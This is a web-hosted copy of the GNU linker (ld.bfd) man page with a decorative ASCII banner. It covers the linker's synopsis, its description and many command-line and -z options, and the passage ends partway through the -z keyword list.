             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

338 - Linux cli command x86_64-linux-gnu-ld.bfd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-ld.bfd and provides detailed information about the command x86_64-linux-gnu-ld.bfd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-ld.bfd.

NAME 🖥️ x86_64-linux-gnu-ld.bfd 🖥️

The GNU linker

SYNOPSIS

ld [options] objfile

DESCRIPTION

ld combines a number of object and archive files, relocates their data and ties up symbol references. Usually the last step in compiling a program is to run ld.

ld accepts Linker Command Language files written in a superset of AT&T’s Link Editor Command Language syntax, to provide explicit and total control over the linking process.

This man page does not describe the command language; see the ld entry in info for full details on the command language and on other aspects of the GNU linker.

This version of ld uses the general purpose BFD libraries to operate on object files. This allows ld to read, combine, and write object files in many different formats—for example, COFF or a.out. Different formats may be linked together to produce any available kind of object file.

Aside from its flexibility, the GNU linker is more helpful than other linkers in providing diagnostic information. Many linkers abandon execution immediately upon encountering an error; whenever possible, ld continues executing, allowing you to identify other errors (or, in some cases, to get an output file in spite of the error).

The GNU linker ld is meant to cover a broad range of situations, and to be as compatible as possible with other linkers. As a result, you have many choices to control its behavior.

OPTIONS

The linker supports a plethora of command-line options, but in actual practice few of them are used in any particular context. For instance, a frequent use of ld is to link standard Unix object files on a standard, supported Unix system. On such a system, to link a file hello.o:

ld -o <output> /lib/crt0.o hello.o -lc

This tells ld to produce a file called output as the result of linking the file /lib/crt0.o with hello.o and the library libc.a, which will come from the standard search directories. (See the discussion of the -l option below.)

Some of the command-line options to ld may be specified at any point in the command line. However, options which refer to files, such as -l or -T, cause the file to be read at the point at which the option appears in the command line, relative to the object files and other file options. Repeating non-file options with a different argument will either have no further effect, or override prior occurrences (those further to the left on the command line) of that option. Options which may be meaningfully specified more than once are noted in the descriptions below.

Non-option arguments are object files or archives which are to be linked together. They may follow, precede, or be mixed in with command-line options, except that an object file argument may not be placed between an option and its argument.

Usually the linker is invoked with at least one object file, but you can specify other forms of binary input files using -l, -R, and the script command language. If no binary input files at all are specified, the linker does not produce any output, and issues the message No input files.

If the linker cannot recognize the format of an object file, it will assume that it is a linker script. A script specified in this way augments the main linker script used for the link (either the default linker script or the one specified by using -T). This feature permits the linker to link against a file which appears to be an object or an archive, but actually merely defines some symbol values, or uses INPUT or GROUP to load other objects. Specifying a script in this way merely augments the main linker script, with the extra commands placed after the main script; use the -T option to replace the default linker script entirely, but note the effect of the INSERT command.

For options whose names are a single letter, option arguments must either follow the option letter without intervening whitespace, or be given as separate arguments immediately following the option that requires them.

For options whose names are multiple letters, either one dash or two can precede the option name; for example, -trace-symbol and –trace-symbol are equivalent. Note—there is one exception to this rule. Multiple letter options that start with a lower case ‘o’ can only be preceded by two dashes. This is to reduce confusion with the -o option. So for example -omagic sets the output file name to magic whereas –omagic sets the NMAGIC flag on the output.

Arguments to multiple-letter options must either be separated from the option name by an equals sign, or be given as separate arguments immediately following the option that requires them. For example, –trace-symbol foo and –trace-symbol=foo are equivalent. Unique abbreviations of the names of multiple-letter options are accepted.

Note—if the linker is being invoked indirectly, via a compiler driver (e.g. gcc) then all the linker command-line options should be prefixed by -Wl, (or whatever is appropriate for the particular compiler driver) like this:

gcc -Wl,–start-group foo.o bar.o -Wl,–end-group

This is important, because otherwise the compiler driver program may silently drop the linker options, resulting in a bad link. Confusion may also arise when passing options that require values through a driver, as the use of a space between option and argument acts as a separator, and causes the driver to pass only the option to the linker and the argument to the compiler. In this case, it is simplest to use the joined forms of both single- and multiple-letter options, such as:

gcc foo.o bar.o -Wl,-eENTRY -Wl,-Map=a.map

Here is a table of the generic command-line switches accepted by the GNU linker:

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

-a keyword
This option is supported for HP/UX compatibility. The keyword argument must be one of the strings archive, shared, or default. -aarchive is functionally equivalent to -Bstatic, and the other two keywords are functionally equivalent to -Bdynamic. This option may be used any number of times.

–audit AUDITLIB
Adds AUDITLIB to the DT_AUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_AUDIT will contain a colon separated list of audit interfaces to use. If the linker finds an object with an audit entry while searching for shared libraries, it will add a corresponding DT_DEPAUDIT entry in the output file. This option is only meaningful on ELF platforms supporting the rtld-audit interface.

-b input-format

–format=input-format

ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the -b option to specify the binary format for input object files that follow this option on the command line. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to expect as a default input format the most usual format on each machine. input-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) You may want to use this option if you are linking files with an unusual binary format. You can also use -b to switch formats explicitly (when linking object files of different formats), by including -b input-format before each group of object files in a particular format. The default format is taken from the environment variable GNUTARGET. You can also define the input format from a script, using the command TARGET;

-c MRI-commandfile

–mri-script=MRI-commandfile

For compatibility with linkers produced by MRI, ld accepts script files written in an alternate, restricted command language, described in the MRI Compatible Script Files section of GNU ld documentation. Introduce MRI script files with the option -c; use the -T option to run linker scripts written in the general-purpose ld scripting language. If MRI-cmdfile does not exist, ld looks for it in the directories specified by any -L options.

-d

-dc

-dp

These three options are equivalent; multiple forms are supported for compatibility with other linkers. They assign space to common symbols even if a relocatable output file is specified (with -r). The script command FORCE_COMMON_ALLOCATION has the same effect.

–depaudit AUDITLIB

-P AUDITLIB

Adds AUDITLIB to the DT_DEPAUDIT entry of the dynamic section. AUDITLIB is not checked for existence, nor will it use the DT_SONAME specified in the library. If specified multiple times DT_DEPAUDIT will contain a colon separated list of audit interfaces to use. This option is only meaningful on ELF platforms supporting the rtld-audit interface. The -P option is provided for Solaris compatibility.

–enable-linker-version
Enables the LINKER_VERSION linker script directive, described in Output Section Data. If this directive is used in a linker script and this option has been enabled then a string containing the linker version will be inserted at the current point. Note - this location of this option on the linker command line is significant. It will only affect linker scripts that come after it on the command line, or which are built into the linker.

–disable-linker-version
Disables the LINKER_VERSION linker script directive, so that it does not insert a version string. This is the default.

–enable-non-contiguous-regions
This option avoids generating an error if an input section does not fit a matching output section. The linker tries to allocate the input section to subseque nt matching output sections, and generates an error only if no output section is large enough. This is useful when several non-contiguous memory regions are available and the input section does not require a particular one. The order in which input sections are evaluated does not change, for instance: MEMORY { MEM1 (rwx) : ORIGIN = 0x1000, LENGTH = 0x14 MEM2 (rwx) : ORIGIN = 0x1000, LENGTH = 0x40 MEM3 (rwx) : ORIGIN = 0x2000, LENGTH = 0x40 } SECTIONS { mem1 : { *(.data.*); } > MEM1 mem2 : { *(.data.*); } > MEM2 mem3 : { *(.data.*); } > MEM3 } with input sections: .data.1: size 8 .data.2: size 0x10 .data.3: size 4 results in .data.1 affected to mem1, and .data.2 and .data.3 affected to mem2, even though .data.3 would fit in mem3. This option is incompatible with INSERT statements because it changes the way input sections are mapped to output sections.

–enable-non-contiguous-regions-warnings
This option enables warnings when --enable-non-contiguous-regions allows possibly unexpected matches in sections mapping, potentially leading to silently discarding a section instead of failing because it does not fit any output region.

-e entry

–entry=entry

Use entry as the explicit symbol for beginning execution of your program, rather than the default entry point. If there is no symbol named entry, the linker will try to parse entry as a number, and use that as the entry address (the number will be interpreted in base 10; you may use a leading 0x for base 16, or a leading 0 for base 8).

–exclude-libs lib,lib,…
Specifies a list of archive libraries from which symbols should not be automatically exported. The library names may be delimited by commas or colons. Specifying --exclude-libs ALL excludes symbols in all archive libraries from automatic export. This option is available only for the i386 PE targeted port of the linker and for ELF targeted ports. For i386 PE, symbols explicitly listed in a .def file are still exported, regardless of this option. For ELF targeted ports, symbols affected by this option will be treated as hidden.

–exclude-modules-for-implib module,module,…
Specifies a list of object files or archive members, from which symbols should not be automatically exported, but which should be copied wholesale into the import library being generated during the link. The module names may be delimited by commas or colons, and must match exactly the filenames used by ld to open the files; for archive members, this is simply the member name, but for object files the name listed must include and match precisely any path used to specify the input file on the linker’s command-line. This option is available only for the i386 PE targeted port of the linker. Symbols explicitly listed in a .def file are still exported, regardless of this option.

-E

–export-dynamic

–no-export-dynamic

When creating a dynamically linked executable, using the -E option or the –export-dynamic option causes the linker to add all symbols to the dynamic symbol table. The dynamic symbol table is the set of symbols which are visible from dynamic objects at run time. If you do not use either of these options (or use the –no-export-dynamic option to restore the default behavior), the dynamic symbol table will normally contain only those symbols which are referenced by some dynamic object mentioned in the link. If you use dlopen to load a dynamic object which needs to refer back to the symbols defined by the program, rather than some other dynamic object, then you will probably need to use this option when linking the program itself. You can also use the dynamic list to control what symbols should be added to the dynamic symbol table if the output format supports it. See the description of –dynamic-list. Note that this option is specific to ELF targeted ports. PE targets support a similar function to export all symbols from a DLL or EXE; see the description of –export-all-symbols below.

–export-dynamic-symbol=glob
When creating a dynamically linked executable, symbols matching glob will be added to the dynamic symbol table. When creating a shared library, references to symbols matching glob will not be bound to the definitions within the shared library. This option is a no-op when creating a shared library and -Bsymbolic or –dynamic-list are not specified. This option is only meaningful on ELF platforms which support shared libraries.

–export-dynamic-symbol-list=file
Specify a –export-dynamic-symbol for each pattern in the file. The format of the file is the same as the version node without scope and node name. See VERSION for more information.

-EB
Link big-endian objects. This affects the default output format.

-EL
Link little-endian objects. This affects the default output format.

-f name

–auxiliary=name

When creating an ELF shared object, set the internal DT_AUXILIARY field to the specified name. This tells the dynamic linker that the symbol table of the shared object should be used as an auxiliary filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_AUXILIARY field. If the dynamic linker resolves any symbols from the filter object, it will first check whether there is a definition in the shared object name. If there is one, it will be used instead of the definition in the filter object. The shared object name need not exist. Thus the shared object name may be used to provide an alternative implementation of certain functions, perhaps for debugging or for machine-specific performance. This option may be specified more than once. The DT_AUXILIARY entries will be created in the order in which they appear on the command line.

-F name

–filter=name

When creating an ELF shared object, set the internal DT_FILTER field to the specified name. This tells the dynamic linker that the symbol table of the shared object which is being created should be used as a filter on the symbol table of the shared object name. If you later link a program against this filter object, then, when you run the program, the dynamic linker will see the DT_FILTER field. The dynamic linker will resolve symbols according to the symbol table of the filter object as usual, but it will actually link to the definitions found in the shared object name. Thus the filter object can be used to select a subset of the symbols provided by the object name. Some older linkers used the -F option throughout a compilation toolchain for specifying object-file format for both input and output object files. The GNU linker uses other mechanisms for this purpose: the -b, –format, –oformat options, the TARGET command in linker scripts, and the GNUTARGET environment variable. The GNU linker will ignore the -F option when not creating an ELF shared object.

-fini=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is unloaded, by setting DT_FINI to the address of the function. By default, the linker uses _fini as the function to call.

-g
Ignored. Provided for compatibility with other tools.

-G value

–gpsize=value

Set the maximum size of objects to be optimized using the GP register to size. This is only meaningful for object file formats such as MIPS ELF that support putting large and small objects into different sections. This is ignored for other object file formats.

-h name

-soname=name

When creating an ELF shared object, set the internal DT_SONAME field to the specified name. When an executable is linked with a shared object which has a DT_SONAME field, then when the executable is run the dynamic linker will attempt to load the shared object specified by the DT_SONAME field rather than using the file name given to the linker.

-i
Perform an incremental link (same as option -r).

-init=name
When creating an ELF executable or shared object, call NAME when the executable or shared object is loaded, by setting DT_INIT to the address of the function. By default, the linker uses _init as the function to call.

-l namespec

–library=namespec

Add the archive or object file specified by namespec to the list of files to link. This option may be used any number of times. If namespec is of the form :filename, ld will search the library path for a file called filename, otherwise it will search the library path for a file called libnamespec.a. On systems which support shared libraries, ld may also search for files other than libnamespec.a. Specifically, on ELF and SunOS systems, ld will search a directory for a library called libnamespec.so before searching for one called libnamespec.a. (By convention, a .so extension indicates a shared library.) Note that this behavior does not apply to :filename, which always specifies a file called filename. The linker will search an archive only once, at the location where it is specified on the command line. If the archive defines a symbol which was undefined in some object which appeared before the archive on the command line, the linker will include the appropriate file(s) from the archive. However, an undefined symbol in an object appearing later on the command line will not cause the linker to search the archive again. See the -( option for a way to force the linker to search archives multiple times. You may list the same archive multiple times on the command line. This type of archive searching is standard for Unix linkers. However, if you are using ld on AIX, note that it is different from the behaviour of the AIX linker.

-L searchdir

–library-path=searchdir

Add path searchdir to the list of paths that ld will search for archive libraries and ld control scripts. You may use this option any number of times. The directories are searched in the order in which they are specified on the command line. Directories specified on the command line are searched before the default directories. All -L options apply to all -l options, regardless of the order in which the options appear. -L options do not affect how ld searches for a linker script unless -T option is specified. If searchdir begins with = or $SYSROOT, then this prefix will be replaced by the sysroot prefix, controlled by the –sysroot option, or specified when the linker is configured. The default set of paths searched (without being specified with -L) depends on which emulation mode ld is using, and in some cases also on how it was configured. The paths can also be specified in a link script with the SEARCH_DIR command. Directories specified this way are searched at the point in which the linker script appears in the command line.

-m emulation
Emulate the emulation linker. You can list the available emulations with the –verbose or -V options. If the -m option is not used, the emulation is taken from the LDEMULATION environment variable, if that is defined. Otherwise, the default emulation depends upon how the linker was configured.

–remap-inputs=pattern=filename

–remap-inputs-file=file

These options allow the names of input files to be changed before the linker attempts to open them. The option –remap-inputs=foo.o=bar.o will cause any attempt to load a file called foo.o to instead try to load a file called bar.o. Wildcard patterns are permitted in the first filename, so –remap-inputs=foo*.o=bar.o will rename any input file that matches foo*.o to bar.o. An alternative form of the option –remap-inputs-file=filename allows the remappings to be read from a file. Each line in the file can contain a single remapping. Blank lines are ignored. Anything from a hash character (#) to the end of a line is considered to be a comment and is also ignored. The mapping pattern can be separated from the filename by whitespace or an equals (=) character. The options can be specified multiple times. Their contents accumulate. The remappings will be processed in the order in which they occur on the command line, and if they come from a file, in the order in which they occur in the file. If a match is made, no further checking for that filename will be performed. If the replacement filename is /dev/null or just NUL then the remapping will actually cause the input file to be ignored. This can be a convenient way to experiment with removing input files from a complicated build environment. Note that this option is position dependent and only affects filenames that come after it on the command line. Thus: ld foo.o –remap-inputs=foo.o=bar.o Will have no effect, whereas: ld –remap-inputs=foo.o=bar.o foo.o Will rename the input file foo.o to bar.o. Note - these options also affect files referenced by INPUT statements in linker scripts. But since linker scripts are processed after the entire command line is read, the position of the remap options on the command line is not significant. If the verbose option is enabled then any mappings that match will be reported, although again the verbose option needs to be enabled on the command line before the remaped filenames appear. If the -Map or –print-map options are enabled then the remapping list will be included in the map output.

-M

–print-map

Print a link map to the standard output. A link map provides information about the link, including the following:

  • Where object files are mapped into memory.

  • How common symbols are allocated.

  • All archive members included in the link, with a mention of the symbol which caused the archive member to be brought in.

  • The values assigned to symbols. Note - symbols whose values are computed by an expression which involves a reference to a previous value of the same symbol may not have correct result displayed in the link map. This is because the linker discards intermediate results and only retains the final value of an expression. Under such circumstances the linker will display the final value enclosed by square brackets. Thus for example a linker script containing: foo = 1 foo = foo * 4 foo = foo + 8 will produce the following output in the link map if the -M option is used: 0x00000001 foo = 0x1 [0x0000000c] foo = (foo * 0x4) [0x0000000c] foo = (foo + 0x8) See Expressions for more information about expressions in linker scripts.

  • How GNU properties are merged. When the linker merges input .note.gnu.property sections into one output .note.gnu.property section, some properties are removed or updated. These actions are reported in the link map. For example: Removed property 0xc0000002 to merge foo.o (0x1) and bar.o (not found) This indicates that property 0xc0000002 is removed from output when merging properties in foo.o, whose property 0xc0000002 value is 0x1, and bar.o, which doesn’t have property 0xc0000002. Updated property 0xc0010001 (0x1) to merge foo.o (0x1) and bar.o (0x1) This indicates that property 0xc0010001 value is updated to 0x1 in output when merging properties in foo.o, whose 0xc0010001 property value is 0x1, and bar.o, whose 0xc0010001 property value is 0x1.

  • On some ELF targets, a list of fixups inserted by –relax foo.o: Adjusting branch at 0x00000008 towards “far” in section .text This indicates that the branch at 0x00000008 in foo.o, targeting the symbol “far” in section .text, has been replaced by a trampoline.

–print-map-discarded

–no-print-map-discarded

Print (or do not print) the list of discarded and garbage collected sections in the link map. Enabled by default.

–print-map-locals

–no-print-map-locals

Print (or do not print) local symbols in the link map. Local symbols will have the text (local) printed before their name, and will be listed after all of the global symbols in a given section. Temporary local symbols (typically those that start with .L) will not be included in the output. Disabled by default.

-n

–nmagic

Turn off page alignment of sections, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as NMAGIC.

-N

–omagic

Set the text and data sections to be readable and writable. Also, do not page-align the data segment, and disable linking against shared libraries. If the output format supports Unix style magic numbers, mark the output as OMAGIC. Note: Although a writable text section is allowed for PE-COFF targets, it does not conform to the format specification published by Microsoft.

–no-omagic
This option negates most of the effects of the -N option. It sets the text section to be read-only, and forces the data segment to be page-aligned. Note - this option does not enable linking against shared libraries. Use -Bdynamic for this.

-o output

–output=output

Use output as the name for the program produced by ld; if this option is not specified, the name a.out is used by default. The script command OUTPUT can also specify the output file name. Note - the linker will delete the output file before it starts to write to it. It will do this even if it turns out that the link cannot be completed due to errors. Note - the linker will check to make sure that the output file name does not match the name of any of the input files, but that is all. In particular it will not complain if the output file might overwrite a source file or some other important file. Therefore in build systems it is recommended to use the -o option as the last option on the linker command line. For example consider: ld -o $(EXE) $(OBJS) ld $(OBJS) -o $(EXE) If the EXE variable is not defined for some reason, the first version of the linker command could end up deleting one of the object files (the first one in the OBJS list) whereas the second version of the linker command will generate an error message and not delete anything.

–dependency-file=depfile
Write a dependency file to depfile. This file contains a rule suitable for make describing the output file and all the input files that were read to produce it. The output is similar to the compiler’s output with -M -MP. Note that there is no option like the compiler’s -MM, to exclude “system files” (which is not a well-specified concept in the linker, unlike “system headers” in the compiler). So the output from –dependency-file is always specific to the exact state of the installation where it was produced, and should not be copied into distributed makefiles without careful editing.

-O level
If level is a numeric values greater than zero ld optimizes the output. This might take significantly longer and therefore probably should only be enabled for the final binary. At the moment this option only affects ELF shared library generation. Future releases of the linker may make more use of this option. Also currently there is no difference in the linker’s behaviour for different non-zero values of this option. Again this may change with future releases.

-plugin name
Involve a plugin in the linking process. The name parameter is the absolute filename of the plugin. Usually this parameter is automatically added by the complier, when using link time optimization, but users can also add their own plugins if they so wish. Note that the location of the compiler originated plugins is different from the place where the ar, nm and ranlib programs search for their plugins. In order for those commands to make use of a compiler based plugin it must first be copied into the ${libdir}/bfd-plugins directory. All gcc based linker plugins are backward compatible, so it is sufficient to just copy in the newest one.

–push-state
The –push-state allows one to preserve the current state of the flags which govern the input file handling so that they can all be restored with one corresponding –pop-state option. The option which are covered are: -Bdynamic, -Bstatic, -dn, -dy, -call_shared, -non_shared, -static, -N, -n, –whole-archive, –no-whole-archive, -r, -Ur, –copy-dt-needed-entries, –no-copy-dt-needed-entries, –as-needed, –no-as-needed, and -a. One target for this option are specifications for pkg-config. When used with the –libs option all possibly needed libraries are listed and then possibly linked with all the time. It is better to return something as follows: -Wl,–push-state,–as-needed -libone -libtwo -Wl,–pop-state

–pop-state
Undoes the effect of –push-state, restores the previous values of the flags governing input file handling.

-q

–emit-relocs

Leave relocation sections and contents in fully linked executables. Post link analysis and optimization tools may need this information in order to perform correct modifications of executables. This results in larger executables. This option is currently only supported on ELF platforms.

–force-dynamic
Force the output file to have dynamic sections. This option is specific to VxWorks targets.

-r

–relocatable

Generate relocatable output—i.e., generate an output file that can in turn serve as input to ld. This is often called partial linking. As a side effect, in environments that support standard Unix magic numbers, this option also sets the output file’s magic number to OMAGIC. If this option is not specified, an absolute file is produced. When linking C++ programs, this option will not resolve references to constructors; to do that, use -Ur. When an input file does not have the same format as the output file, partial linking is only supported if that input file does not contain any relocations. Different output formats can have further restrictions; for example some a.out-based formats do not support partial linking with input files in other formats at all. This option does the same thing as -i.

-R filename

–just-symbols=filename

Read symbol names and their addresses from filename, but do not relocate it or include it in the output. This allows your output file to refer symbolically to absolute locations of memory defined in other programs. You may use this option more than once. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

–rosegment

–no-rosegment

Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
